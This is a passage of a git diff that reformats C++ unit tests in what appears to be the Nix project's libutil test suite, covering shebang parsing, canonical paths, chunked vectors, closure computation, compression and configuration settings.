ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "` "); - } +TEST(parseShebangContent, singleBacktickAndSpaceInDoubleBacktickQuotes) +{ + std::list r = parseShebangContent("``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "` "); +} - TEST(parseShebangContent, doubleBacktickInDoubleBacktickQuotes) { - std::list r = parseShebangContent("````` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 1u); - ASSERT_EQ(*i++, "``"); - } - - TEST(parseShebangContent, increasingQuotes) { - std::list r = parseShebangContent("```` ``` `` ````` `` `````` ``"); - auto i = r.begin(); - ASSERT_EQ(r.size(), 4u); - ASSERT_EQ(*i++, ""); - ASSERT_EQ(*i++, "`"); - ASSERT_EQ(*i++, "``"); - ASSERT_EQ(*i++, "```"); - } +TEST(parseShebangContent, doubleBacktickInDoubleBacktickQuotes) +{ + std::list r = parseShebangContent("````` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1u); + ASSERT_EQ(*i++, "``"); +} +TEST(parseShebangContent, increasingQuotes) +{ + std::list r = parseShebangContent("```` ``` `` ````` `` `````` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 4u); + ASSERT_EQ(*i++, ""); + ASSERT_EQ(*i++, "`"); + ASSERT_EQ(*i++, "``"); + ASSERT_EQ(*i++, "```"); +} #ifndef COVERAGE // quick and dirty -static inline std::string escape(std::string_view s_) { +static inline std::string escape(std::string_view s_) +{ std::string_view s = s_; std::string r = "``"; @@ -125,11 +138,7 @@ static inline std::string escape(std::string_view s_) { } } - if (!r.empty() - && ( - r[r.size() - 1] == '`' - || r[r.size() - 1] == ' ' - )) { + if (!r.empty() && (r[r.size() - 1] == '`' || r[r.size() - 1] == ' ')) { r += " "; } @@ -138,10 +147,7 @@ static inline std::string escape(std::string_view s_) { return r; }; -RC_GTEST_PROP( - parseShebangContent, - prop_round_trip_single, - (const std::string & orig)) +RC_GTEST_PROP(parseShebangContent, prop_round_trip_single, (const std::string & orig)) { auto escaped = escape(orig); // RC_LOG() << "escaped: <[[" << escaped << "]]>" << std::endl; @@ -150,10 +156,7 @@ RC_GTEST_PROP( RC_ASSERT(*ss.begin() == orig); } -RC_GTEST_PROP( - parseShebangContent, - prop_round_trip_two, - (const std::string & one, const std::string & two)) +RC_GTEST_PROP(parseShebangContent, prop_round_trip_two, (const std::string & one, const std::string & two)) { auto ss = parseShebangContent(escape(one) + " " + escape(two)); RC_ASSERT(ss.size() == 2u); @@ -162,7 +165,6 @@ RC_GTEST_PROP( RC_ASSERT(*i++ == two); } - #endif } diff --git a/src/libutil-tests/canon-path.cc b/src/libutil-tests/canon-path.cc index c6808bf66..9ffcdd657 100644 --- a/src/libutil-tests/canon-path.cc +++ b/src/libutil-tests/canon-path.cc @@ -4,177 +4,189 @@ namespace nix { - TEST(CanonPath, basic) { - { - CanonPath p("/"); - ASSERT_EQ(p.abs(), "/"); - ASSERT_EQ(p.rel(), ""); - ASSERT_EQ(p.baseName(), std::nullopt); - ASSERT_EQ(p.dirOf(), std::nullopt); - ASSERT_FALSE(p.parent()); - } - - { - CanonPath p("/foo//"); - ASSERT_EQ(p.abs(), "/foo"); - ASSERT_EQ(p.rel(), "foo"); - ASSERT_EQ(*p.baseName(), "foo"); - ASSERT_EQ(*p.dirOf(), ""); // FIXME: do we want this? - ASSERT_EQ(p.parent()->abs(), "/"); - } - - { - CanonPath p("foo/bar"); - ASSERT_EQ(p.abs(), "/foo/bar"); - ASSERT_EQ(p.rel(), "foo/bar"); - ASSERT_EQ(*p.baseName(), "bar"); - ASSERT_EQ(*p.dirOf(), "/foo"); - ASSERT_EQ(p.parent()->abs(), "/foo"); - } - - { - CanonPath p("foo//bar/"); - ASSERT_EQ(p.abs(), "/foo/bar"); - ASSERT_EQ(p.rel(), "foo/bar"); - ASSERT_EQ(*p.baseName(), "bar"); - ASSERT_EQ(*p.dirOf(), "/foo"); - } - } - - TEST(CanonPath, from_existing) { - CanonPath p0("foo//bar/"); - { - CanonPath p("/baz//quux/", p0); - ASSERT_EQ(p.abs(), "/baz/quux"); - ASSERT_EQ(p.rel(), "baz/quux"); - ASSERT_EQ(*p.baseName(), "quux"); - ASSERT_EQ(*p.dirOf(), "/baz"); - } - { - CanonPath p("baz//quux/", p0); - ASSERT_EQ(p.abs(), "/foo/bar/baz/quux"); - ASSERT_EQ(p.rel(), "foo/bar/baz/quux"); - ASSERT_EQ(*p.baseName(), "quux"); - ASSERT_EQ(*p.dirOf(), "/foo/bar/baz"); - } - } - - TEST(CanonPath, pop) { - CanonPath p("foo/bar/x"); - ASSERT_EQ(p.abs(), "/foo/bar/x"); - p.pop(); - ASSERT_EQ(p.abs(), "/foo/bar"); - p.pop(); - ASSERT_EQ(p.abs(), "/foo"); - p.pop(); +TEST(CanonPath, basic) +{ + { + CanonPath p("/"); ASSERT_EQ(p.abs(), "/"); + ASSERT_EQ(p.rel(), ""); + ASSERT_EQ(p.baseName(), std::nullopt); + ASSERT_EQ(p.dirOf(), std::nullopt); + ASSERT_FALSE(p.parent()); } - TEST(CanonPath, removePrefix) { - CanonPath p1("foo/bar"); - CanonPath p2("foo/bar/a/b/c"); - ASSERT_EQ(p2.removePrefix(p1).abs(), "/a/b/c"); - ASSERT_EQ(p1.removePrefix(p1).abs(), "/"); - ASSERT_EQ(p1.removePrefix(CanonPath("/")).abs(), "/foo/bar"); + { + CanonPath p("/foo//"); + ASSERT_EQ(p.abs(), "/foo"); + ASSERT_EQ(p.rel(), "foo"); + ASSERT_EQ(*p.baseName(), "foo"); + ASSERT_EQ(*p.dirOf(), ""); // FIXME: do we want this? + ASSERT_EQ(p.parent()->abs(), "/"); } - TEST(CanonPath, iter) { - { - CanonPath p("a//foo/bar//"); - std::vector ss; - for (auto & c : p) ss.push_back(c); - ASSERT_EQ(ss, std::vector({"a", "foo", "bar"})); - } - - { - CanonPath p("/"); - std::vector ss; - for (auto & c : p) ss.push_back(c); - ASSERT_EQ(ss, std::vector()); - } + { + CanonPath p("foo/bar"); + ASSERT_EQ(p.abs(), "/foo/bar"); + ASSERT_EQ(p.rel(), "foo/bar"); + ASSERT_EQ(*p.baseName(), "bar"); + ASSERT_EQ(*p.dirOf(), "/foo"); + ASSERT_EQ(p.parent()->abs(), "/foo"); } - TEST(CanonPath, concat) { - { - CanonPath p1("a//foo/bar//"); - CanonPath p2("xyzzy/bla"); - ASSERT_EQ((p1 / p2).abs(), "/a/foo/bar/xyzzy/bla"); - } - - { - CanonPath p1("/"); - CanonPath p2("/a/b"); - ASSERT_EQ((p1 / p2).abs(), "/a/b"); - } - - { - CanonPath p1("/a/b"); - CanonPath p2("/"); - ASSERT_EQ((p1 / p2).abs(), "/a/b"); - } - - { - CanonPath p("/foo/bar"); - ASSERT_EQ((p / "x").abs(), "/foo/bar/x"); - } - - { - CanonPath p("/"); - ASSERT_EQ((p / "foo" / "bar").abs(), "/foo/bar"); - } - } - - TEST(CanonPath, within) { - ASSERT_TRUE(CanonPath("foo").isWithin(CanonPath("foo"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("bar"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("fo"))); - ASSERT_TRUE(CanonPath("foo/bar").isWithin(CanonPath("foo"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("foo/bar"))); - ASSERT_TRUE(CanonPath("/foo/bar/default.nix").isWithin(CanonPath("/"))); - ASSERT_TRUE(CanonPath("/").isWithin(CanonPath("/"))); - } - - TEST(CanonPath, sort) { - ASSERT_FALSE(CanonPath("foo") < CanonPath("foo")); - ASSERT_TRUE (CanonPath("foo") < CanonPath("foo/bar")); - ASSERT_TRUE (CanonPath("foo/bar") < CanonPath("foo!")); - ASSERT_FALSE(CanonPath("foo!") < CanonPath("foo")); - ASSERT_TRUE (CanonPath("foo") < CanonPath("foo!")); - } - - TEST(CanonPath, allowed) { - std::set allowed { - CanonPath("foo/bar"), - CanonPath("foo!"), - CanonPath("xyzzy"), - CanonPath("a/b/c"), - }; - - ASSERT_TRUE (CanonPath("foo/bar").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("foo/bar/bla").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("foo").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("bar").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("bar/a").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c/d").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c/d/e").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("a/b/a").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("a/b/d").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("aaa").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("zzz").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("/").isAllowed(allowed)); - } - - TEST(CanonPath, makeRelative) { - CanonPath d("/foo/bar"); - ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar")), "."); - ASSERT_EQ(d.makeRelative(CanonPath("/foo")), ".."); - ASSERT_EQ(d.makeRelative(CanonPath("/")), "../.."); - ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy")), "xyzzy"); - ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy/bla")), "xyzzy/bla"); - ASSERT_EQ(d.makeRelative(CanonPath("/foo/xyzzy/bla")), "../xyzzy/bla"); - ASSERT_EQ(d.makeRelative(CanonPath("/xyzzy/bla")), "../../xyzzy/bla"); + { + CanonPath p("foo//bar/"); + ASSERT_EQ(p.abs(), "/foo/bar"); + ASSERT_EQ(p.rel(), "foo/bar"); + ASSERT_EQ(*p.baseName(), "bar"); + ASSERT_EQ(*p.dirOf(), "/foo"); } } + +TEST(CanonPath, from_existing) +{ + CanonPath p0("foo//bar/"); + { + CanonPath p("/baz//quux/", p0); + ASSERT_EQ(p.abs(), "/baz/quux"); + ASSERT_EQ(p.rel(), "baz/quux"); + ASSERT_EQ(*p.baseName(), "quux"); + ASSERT_EQ(*p.dirOf(), "/baz"); + } + { + CanonPath p("baz//quux/", p0); + ASSERT_EQ(p.abs(), "/foo/bar/baz/quux"); + ASSERT_EQ(p.rel(), "foo/bar/baz/quux"); + ASSERT_EQ(*p.baseName(), "quux"); + ASSERT_EQ(*p.dirOf(), "/foo/bar/baz"); + } +} + +TEST(CanonPath, pop) +{ + CanonPath p("foo/bar/x"); + ASSERT_EQ(p.abs(), "/foo/bar/x"); + p.pop(); + ASSERT_EQ(p.abs(), "/foo/bar"); + p.pop(); + ASSERT_EQ(p.abs(), "/foo"); + p.pop(); + ASSERT_EQ(p.abs(), "/"); +} + +TEST(CanonPath, removePrefix) +{ + CanonPath p1("foo/bar"); + CanonPath p2("foo/bar/a/b/c"); + ASSERT_EQ(p2.removePrefix(p1).abs(), "/a/b/c"); + ASSERT_EQ(p1.removePrefix(p1).abs(), "/"); + ASSERT_EQ(p1.removePrefix(CanonPath("/")).abs(), "/foo/bar"); +} + +TEST(CanonPath, iter) +{ + { + CanonPath p("a//foo/bar//"); + std::vector ss; + for (auto & c : p) + ss.push_back(c); + ASSERT_EQ(ss, std::vector({"a", "foo", "bar"})); + } + + { + CanonPath p("/"); + std::vector ss; + for (auto & c : p) + ss.push_back(c); + ASSERT_EQ(ss, std::vector()); + } +} + +TEST(CanonPath, concat) +{ + { + CanonPath p1("a//foo/bar//"); + CanonPath p2("xyzzy/bla"); + ASSERT_EQ((p1 / p2).abs(), "/a/foo/bar/xyzzy/bla"); + } + + { + CanonPath p1("/"); + CanonPath p2("/a/b"); + ASSERT_EQ((p1 / p2).abs(), "/a/b"); + } + + { + CanonPath p1("/a/b"); + CanonPath p2("/"); + ASSERT_EQ((p1 / p2).abs(), "/a/b"); + } + + { + CanonPath p("/foo/bar"); + ASSERT_EQ((p / "x").abs(), "/foo/bar/x"); + } + + { + CanonPath p("/"); + ASSERT_EQ((p / "foo" / "bar").abs(), "/foo/bar"); + } +} + +TEST(CanonPath, within) +{ + ASSERT_TRUE(CanonPath("foo").isWithin(CanonPath("foo"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("bar"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("fo"))); + ASSERT_TRUE(CanonPath("foo/bar").isWithin(CanonPath("foo"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("foo/bar"))); + ASSERT_TRUE(CanonPath("/foo/bar/default.nix").isWithin(CanonPath("/"))); + ASSERT_TRUE(CanonPath("/").isWithin(CanonPath("/"))); +} + +TEST(CanonPath, sort) +{ + ASSERT_FALSE(CanonPath("foo") < CanonPath("foo")); + ASSERT_TRUE(CanonPath("foo") < CanonPath("foo/bar")); + ASSERT_TRUE(CanonPath("foo/bar") < CanonPath("foo!")); + ASSERT_FALSE(CanonPath("foo!") < CanonPath("foo")); + ASSERT_TRUE(CanonPath("foo") < CanonPath("foo!")); +} + +TEST(CanonPath, allowed) +{ + std::set allowed{ + CanonPath("foo/bar"), + CanonPath("foo!"), + CanonPath("xyzzy"), + CanonPath("a/b/c"), + }; + + ASSERT_TRUE(CanonPath("foo/bar").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("foo/bar/bla").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("foo").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("bar").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("bar/a").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("a").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("a/b").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("a/b/c").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("a/b/c/d").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("a/b/c/d/e").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("a/b/a").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("a/b/d").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("aaa").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("zzz").isAllowed(allowed)); + ASSERT_TRUE(CanonPath("/").isAllowed(allowed)); +} + +TEST(CanonPath, makeRelative) +{ + CanonPath d("/foo/bar"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar")), "."); + ASSERT_EQ(d.makeRelative(CanonPath("/foo")), ".."); + ASSERT_EQ(d.makeRelative(CanonPath("/")), "../.."); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy")), "xyzzy"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy/bla")), "xyzzy/bla"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/xyzzy/bla")), "../xyzzy/bla"); + ASSERT_EQ(d.makeRelative(CanonPath("/xyzzy/bla")), "../../xyzzy/bla"); +} +} diff --git a/src/libutil-tests/chunked-vector.cc b/src/libutil-tests/chunked-vector.cc index c4f1d3858..2aa8e791b 100644 --- a/src/libutil-tests/chunked-vector.cc +++ b/src/libutil-tests/chunked-vector.cc @@ -3,52 +3,54 @@ #include namespace nix { - TEST(ChunkedVector, InitEmpty) { - auto v = ChunkedVector(100); - ASSERT_EQ(v.size(), 0u); - } - - TEST(ChunkedVector, GrowsCorrectly) { - auto v = ChunkedVector(100); - for (uint32_t i = 1; i < 20; i++) { - v.add(i); - ASSERT_EQ(v.size(), i); - } - } - - TEST(ChunkedVector, AddAndGet) { - auto v = ChunkedVector(100); - for (auto i = 1; i < 20; i++) { - auto [i2, idx] = v.add(i); - auto & i3 = v[idx]; - ASSERT_EQ(i, i2); - ASSERT_EQ(&i2, &i3); - } - } - - TEST(ChunkedVector, ForEach) { - auto v = ChunkedVector(100); - for (auto i = 1; i < 20; i++) { - v.add(i); - } - uint32_t count = 0; - v.forEach([&count](int elt) { - count++; - }); - ASSERT_EQ(count, v.size()); - } - - TEST(ChunkedVector, OverflowOK) { - // Similar to the AddAndGet, but intentionnally use a small - // initial ChunkedVector to force it to overflow - auto v = ChunkedVector(2); - for (auto i = 1; i < 20; i++) { - auto [i2, idx] = v.add(i); - auto & i3 = v[idx]; - ASSERT_EQ(i, i2); - ASSERT_EQ(&i2, &i3); - } - } - +TEST(ChunkedVector, InitEmpty) +{ + auto v = ChunkedVector(100); + ASSERT_EQ(v.size(), 0u); } +TEST(ChunkedVector, GrowsCorrectly) +{ + auto v = ChunkedVector(100); + for (uint32_t i = 1; i < 20; i++) { + v.add(i); + ASSERT_EQ(v.size(), i); + } +} + +TEST(ChunkedVector, AddAndGet) +{ + auto v = ChunkedVector(100); + for (auto i = 1; i < 20; i++) { + auto [i2, idx] = v.add(i); + auto & i3 = v[idx]; + ASSERT_EQ(i, i2); + ASSERT_EQ(&i2, &i3); + } +} + +TEST(ChunkedVector, ForEach) +{ + auto v = ChunkedVector(100); + for (auto i = 1; i < 20; i++) { + v.add(i); + } + uint32_t count = 0; + v.forEach([&count](int elt) { count++; }); + ASSERT_EQ(count, v.size()); +} + +TEST(ChunkedVector, OverflowOK) +{ + // Similar to the AddAndGet, but intentionnally use a small + // initial ChunkedVector to force it to overflow + auto v = ChunkedVector(2); + for (auto i = 1; i < 20; i++) { + auto [i2, idx] = v.add(i); + auto & i3 = v[idx]; + ASSERT_EQ(i, i2); + ASSERT_EQ(&i2, &i3); + } +} + +} diff --git a/src/libutil-tests/closure.cc b/src/libutil-tests/closure.cc index 6bbc128c2..9a49149d0 100644 --- a/src/libutil-tests/closure.cc +++ b/src/libutil-tests/closure.cc @@ -6,48 +6,46 @@ namespace nix { using namespace std; map> testGraph = { - { "A", { "B", "C", "G" } }, - { "B", { "A" } }, // Loops back to A - { "C", { "F" } }, // Indirect reference - { "D", { "A" } }, // Not reachable, but has backreferences - { "E", {} }, // Just not reachable - { "F", {} }, - { "G", { "G" } }, // Self reference + {"A", {"B", "C", "G"}}, + {"B", {"A"}}, // Loops back to A + {"C", {"F"}}, // Indirect reference + {"D", {"A"}}, // Not reachable, but has backreferences + {"E", {}}, // Just not reachable + {"F", {}}, + {"G", {"G"}}, // Self reference }; -TEST(closure, correctClosure) { +TEST(closure, correctClosure) +{ set aClosure; set expectedClosure = {"A", "B", "C", "F", "G"}; computeClosure( - {"A"}, - aClosure, - [&](const string currentNode, function> &)> processEdges) { + {"A"}, aClosure, [&](const string currentNode, function> &)> processEdges) { promise> promisedNodes; promisedNodes.set_value(testGraph[currentNode]); processEdges(promisedNodes); - } - ); + }); ASSERT_EQ(aClosure, expectedClosure); } -TEST(closure, properlyHandlesDirectExceptions) { - struct TestExn {}; +TEST(closure, properlyHandlesDirectExceptions) +{ + struct TestExn + {}; set aClosure; EXPECT_THROW( computeClosure( {"A"}, aClosure, - [&](const string currentNode, function> &)> processEdges) { - throw TestExn(); - } - ), - TestExn - ); + [&](const string currentNode, function> &)> processEdges) { throw TestExn(); }), + TestExn); } -TEST(closure, properlyHandlesExceptionsInPromise) { - struct TestExn {}; +TEST(closure, properlyHandlesExceptionsInPromise) +{ + struct TestExn + {}; set aClosure; EXPECT_THROW( computeClosure( @@ -61,10 +59,8 @@ TEST(closure, properlyHandlesExceptionsInPromise) { promise.set_exception(std::current_exception()); } processEdges(promise); - } - ), - TestExn - ); + }), + TestExn); } } diff --git a/src/libutil-tests/compression.cc b/src/libutil-tests/compression.cc index de0c7cdb6..45c622087 100644 --- a/src/libutil-tests/compression.cc +++ b/src/libutil-tests/compression.cc @@ -3,94 +3,104 @@ namespace nix { - /* ---------------------------------------------------------------------------- - * compress / decompress - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * compress / decompress + * --------------------------------------------------------------------------*/ - TEST(compress, compressWithUnknownMethod) { - ASSERT_THROW(compress("invalid-method", "something-to-compress"), UnknownCompressionMethod); - } +TEST(compress, compressWithUnknownMethod) +{ + ASSERT_THROW(compress("invalid-method", "something-to-compress"), UnknownCompressionMethod); +} - TEST(compress, noneMethodDoesNothingToTheInput) { - auto o = compress("none", "this-is-a-test"); +TEST(compress, noneMethodDoesNothingToTheInput) +{ + auto o = compress("none", "this-is-a-test"); - ASSERT_EQ(o, "this-is-a-test"); - } + ASSERT_EQ(o, "this-is-a-test"); +} - TEST(decompress, decompressNoneCompressed) { - auto method = "none"; - auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto o = decompress(method, str); +TEST(decompress, decompressNoneCompressed) +{ + auto method = "none"; + auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto o = decompress(method, str); - ASSERT_EQ(o, str); - } + ASSERT_EQ(o, str); +} - TEST(decompress, decompressEmptyCompressed) { - // Empty-method decompression used e.g. by S3 store - // (Content-Encoding == ""). - auto method = ""; - auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto o = decompress(method, str); +TEST(decompress, decompressEmptyCompressed) +{ + // Empty-method decompression used e.g. by S3 store + // (Content-Encoding == ""). + auto method = ""; + auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto o = decompress(method, str); - ASSERT_EQ(o, str); - } + ASSERT_EQ(o, str); +} - TEST(decompress, decompressXzCompressed) { - auto method = "xz"; - auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto o = decompress(method, compress(method, str)); +TEST(decompress, decompressXzCompressed) +{ + auto method = "xz"; + auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto o = decompress(method, compress(method, str)); - ASSERT_EQ(o, str); - } + ASSERT_EQ(o, str); +} - TEST(decompress, decompressBzip2Compressed) { - auto method = "bzip2"; - auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto o = decompress(method, compress(method, str)); +TEST(decompress, decompressBzip2Compressed) +{ + auto method = "bzip2"; + auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto o = decompress(method, compress(method, str)); - ASSERT_EQ(o, str); - } + ASSERT_EQ(o, str); +} - TEST(decompress, decompressBrCompressed) { - auto method = "br"; - auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto o = decompress(method, compress(method, str)); +TEST(decompress, decompressBrCompressed) +{ + auto method = "br"; + auto str = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto o = decompress(method, compress(method, str)); - ASSERT_EQ(o, str); - } + ASSERT_EQ(o, str); +} - TEST(decompress, decompressInvalidInputThrowsCompressionError) { - auto method = "bzip2"; - auto str = "this is a string that does not qualify as valid bzip2 data"; +TEST(decompress, decompressInvalidInputThrowsCompressionError) +{ + auto method = "bzip2"; + auto str = "this is a string that does not qualify as valid bzip2 data"; - ASSERT_THROW(decompress(method, str), CompressionError); - } + ASSERT_THROW(decompress(method, str), CompressionError); +} - /* ---------------------------------------------------------------------------- - * compression sinks - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * compression sinks + * --------------------------------------------------------------------------*/ - TEST(makeCompressionSink, noneSinkDoesNothingToInput) { - StringSink strSink; - auto inputString = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto sink = makeCompressionSink("none", strSink); - (*sink)(inputString); - sink->finish(); +TEST(makeCompressionSink, noneSinkDoesNothingToInput) +{ + StringSink strSink; + auto inputString = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto sink = makeCompressionSink("none", strSink); + (*sink)(inputString); + sink->finish(); - ASSERT_STREQ(strSink.s.c_str(), inputString); - } + ASSERT_STREQ(strSink.s.c_str(), inputString); +} - TEST(makeCompressionSink, compressAndDecompress) { - StringSink strSink; - auto inputString = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; - auto decompressionSink = makeDecompressionSink("bzip2", strSink); - auto sink = makeCompressionSink("bzip2", *decompressionSink); +TEST(makeCompressionSink, compressAndDecompress) +{ + StringSink strSink; + auto inputString = "slfja;sljfklsa;jfklsjfkl;sdjfkl;sadjfkl;sdjf;lsdfjsadlf"; + auto decompressionSink = makeDecompressionSink("bzip2", strSink); + auto sink = makeCompressionSink("bzip2", *decompressionSink); - (*sink)(inputString); - sink->finish(); - decompressionSink->finish(); + (*sink)(inputString); + sink->finish(); + decompressionSink->finish(); - ASSERT_STREQ(strSink.s.c_str(), inputString); - } + ASSERT_STREQ(strSink.s.c_str(), inputString); +} } diff --git a/src/libutil-tests/config.cc b/src/libutil-tests/config.cc index bc7db251b..83ecff329 100644 --- a/src/libutil-tests/config.cc +++ b/src/libutil-tests/config.cc @@ -7,169 +7,192 @@ namespace nix { - /* ---------------------------------------------------------------------------- - * Config - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * Config + * --------------------------------------------------------------------------*/ - TEST(Config, setUndefinedSetting) { - Config config; - ASSERT_EQ(config.set("undefined-key", "value"), false); - } +TEST(Config, setUndefinedSetting) +{ + Config config; + ASSERT_EQ(config.set("undefined-key", "value"), false); +} - TEST(Config, setDefinedSetting) { - Config config; - std::string value; - Setting foo{&config, value, "name-of-the-setting", "description"}; - ASSERT_EQ(config.set("name-of-the-setting", "value"), true); - } +TEST(Config, setDefinedSetting) +{ + Config config; + std::string value; + Setting foo{&config, value, "name-of-the-setting", "description"}; + ASSERT_EQ(config.set("name-of-the-setting", "value"), true); +} - TEST(Config, getDefinedSetting) { - Config config; - std::string value; +TEST(Config, getDefinedSetting) +{ + Config config; + std::string value; + std::map settings; + Setting foo{&config, value, "name-of-the-setting", "description"}; + + config.getSettings(settings, /* overriddenOnly = */ false); + const auto iter = settings.find("name-of-the-setting"); + ASSERT_NE(iter, settings.end()); + ASSERT_EQ(iter->second.value, ""); + ASSERT_EQ(iter->second.description, "description\n"); +} + +TEST(Config, getDefinedOverriddenSettingNotSet) +{ + Config config; + std::string value; + std::map settings; + Setting foo{&config, value, "name-of-the-setting", "description"}; + + config.getSettings(settings, /* overriddenOnly = */ true); + const auto e = settings.find("name-of-the-setting"); + ASSERT_EQ(e, settings.end()); +} + +TEST(Config, getDefinedSettingSet1) +{ + Config config; + std::string value; + std::map settings; + Setting setting{&config, value, "name-of-the-setting", "description"}; + + setting.assign("value"); + + config.getSettings(settings, /* overriddenOnly = */ false); + const auto iter = settings.find("name-of-the-setting"); + ASSERT_NE(iter, settings.end()); + ASSERT_EQ(iter->second.value, "value"); + ASSERT_EQ(iter->second.description, "description\n"); +} + +TEST(Config, getDefinedSettingSet2) +{ + Config config; + std::map settings; + Setting setting{&config, "", "name-of-the-setting", "description"}; + + ASSERT_TRUE(config.set("name-of-the-setting", "value")); + + config.getSettings(settings, /* overriddenOnly = */ false); + const auto e = settings.find("name-of-the-setting"); + ASSERT_NE(e, settings.end()); + ASSERT_EQ(e->second.value, "value"); + ASSERT_EQ(e->second.description, "description\n"); +} + +TEST(Config, addSetting) +{ + class TestSetting : public AbstractSetting + { + public: + TestSetting() + : AbstractSetting("test", "test", {}) + { + } + void set(const std::string & value, bool append) override {} + std::string to_string() const override + { + return {}; + } + bool isAppendable() override + { + return false; + } + }; + + Config config; + TestSetting setting; + + ASSERT_FALSE(config.set("test", "value")); + config.addSetting(&setting); + ASSERT_TRUE(config.set("test", "value")); + ASSERT_FALSE(config.set("extra-test", "value")); +} + +TEST(Config, withInitialValue) +{ + const StringMap initials = { + {"key", "value"}, + }; + Config config(initials); + + { std::map settings; - Setting foo{&config, value, "name-of-the-setting", "description"}; - config.getSettings(settings, /* overriddenOnly = */ false); - const auto iter = settings.find("name-of-the-setting"); - ASSERT_NE(iter, settings.end()); - ASSERT_EQ(iter->second.value, ""); - ASSERT_EQ(iter->second.description, "description\n"); + ASSERT_EQ(settings.find("key"), settings.end()); } - TEST(Config, getDefinedOverriddenSettingNotSet) { - Config config; - std::string value; - std::map settings; - Setting foo{&config, value, "name-of-the-setting", "description"}; + Setting setting{&config, "default-value", "key", "description"}; + { + std::map settings; + config.getSettings(settings, /* overriddenOnly = */ false); + ASSERT_EQ(settings["key"].value, "value"); + } +} + +TEST(Config, resetOverridden) +{ + Config config; + config.resetOverridden(); +} + +TEST(Config, resetOverriddenWithSetting) +{ + Config config; + Setting setting{&config, "", "name-of-the-setting", "description"}; + + { + std::map settings; + + setting.set("foo"); + ASSERT_EQ(setting.get(), "foo"); config.getSettings(settings, /* overriddenOnly = */ true); - const auto e = settings.find("name-of-the-setting"); - ASSERT_EQ(e, settings.end()); + ASSERT_TRUE(settings.empty()); } - TEST(Config, getDefinedSettingSet1) { - Config config; - std::string value; + { std::map settings; - Setting setting{&config, value, "name-of-the-setting", "description"}; - setting.assign("value"); - - config.getSettings(settings, /* overriddenOnly = */ false); - const auto iter = settings.find("name-of-the-setting"); - ASSERT_NE(iter, settings.end()); - ASSERT_EQ(iter->second.value, "value"); - ASSERT_EQ(iter->second.description, "description\n"); + setting.override("bar"); + ASSERT_TRUE(setting.overridden); + ASSERT_EQ(setting.get(), "bar"); + config.getSettings(settings, /* overriddenOnly = */ true); + ASSERT_FALSE(settings.empty()); } - TEST(Config, getDefinedSettingSet2) { - Config config; + { std::map settings; - Setting setting{&config, "", 